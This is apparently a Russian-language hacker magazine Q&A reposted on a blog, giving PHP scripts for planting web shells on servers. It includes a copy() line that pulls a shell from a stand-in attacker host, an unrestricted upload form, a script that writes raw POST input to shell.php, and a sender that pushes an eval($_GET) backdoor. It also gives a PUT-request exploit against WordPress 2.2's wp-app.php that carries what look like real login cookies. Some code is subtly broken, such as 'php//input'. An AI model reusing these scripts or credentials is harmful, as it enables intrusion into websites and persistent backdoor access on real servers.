Я подскажу тебе пару трюков с PHP-сценариями на тему заливки файлов на сервер:
1. Банальное копирование файла с удаленного сервака, если разрешена директива allow_url_fopen (а она разрешена по умолчанию).
<?php
copy('http://evil-site.com/shell.txt','./hacked_site/shell.php');
?>
2. Если allow_url_fopen обламывает тебе все, что только можно, то ничего не остается, кроме как наколбасить простой сценарий для загрузки файлов на сервер.
<?php
<form enctype="multipart/form-data" action="" method="post">
<input type="hidden" name="MAX_FILE_SIZE" value="30000000" />
File to upload:<input name="uploadfile" type="file" />
<input type="submit" value="Send File" />
</form>
if(!empty($HTTP_POST_FILES['uploadfile']['name']))
{
@copy($HTTP_POST_FILES['uploadfile']['tmp_name'],
'./'.$HTTP_POST_FILES['uploadfile']['name']) ?
print '<b>File '.$HTTP_POST_FILES['uploadfile']['name'].
' upload good!</b><br/>' : print '<b>Upload error!</b><br/>'";
}
?>
3. А если и с аплоадом наш любимый PHP тебя крупно обломал, то у меня припасен еще один сценарий. Тебе нужно передать в него POST-данные, в которых уже зашит шелл :).
<?php
$shell=file_get_contents('php//input'); //все из входящего потока данных
$fp=fopen('shell.php','w');
fwrite($fp, $shell);
fclose($fp);
?>
И второй сценарий для передачи зловредного кода предыдущему скрипту:
<?php
$site='hacked.site.com';
$path='/first_script.php';
$fp = fsockopen($site, 80, $errno, $errstr, 30);
$data='<?php eval(stripslashes($_GET[a])) ?>'; //зловредный код шелла
$out = "POST $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-type: multipart/form-data\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
fwrite($fp, $out.$data);
fclose($fp);
?>
P.S. Конечно же, для всех этих сценариев необходима любая директория, доступная для записи и видная извне.
Q: Я знаю, что такое POST-, GET-, COOKIE-запросы; подскажи, что такое PUT-запрос и как им воспользоваться в хакерских целях?
A: PUT-запросы, приятель, это тебе не Сounter-strike сетке :). Приведу недавний пример использования бага с PUT в популярном блоговом движке WordPress 2.2:
<?php
$site='wordpress.com';
$path='/wp-app.php?action=/attachment/file/1182';
$fp = fsockopen($site, 80, $errno, $errstr, 30);
$data='<?php eval(stripslashes($_GET[a])) ?>';
$out = "PUT $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-type: image/gif\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: 1\r\n";
$out .= "Cookie: wordpressuser_e086b04c6e1927359687c53cb1d1db11=
vitaliysych;wordpresspass_e086b04c6e1927359687c53cb1d1db11=
5154aa972ab41b24fa6c58128836b9a5;\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
fwrite($fp, $out.$data);
fclose($fp);
?>
Смотри: скрипт wp-app.php принимает любой файл, переданный с помощью PUT и подписанный как картинка (Content-type: image/gif). Соответственно, картинку передавать нам нет смысла, и мы передадим наш зловредный код, который скрипт успешно сохранит в указанном нами месте (в конкретном примере с WordPress место для сохранения указывается в поле _wp_attached_file при написании нового поста). А это чревато обретением шелла на нужном сервере :). Так что советую тебе пропарсить популярные движки на предмет присутствия слова PUT в исходниках.
P.S. Естественно, для использования этого бага нужно знать открытую на запись директорию.
Комментариев нет:
Отправить комментарий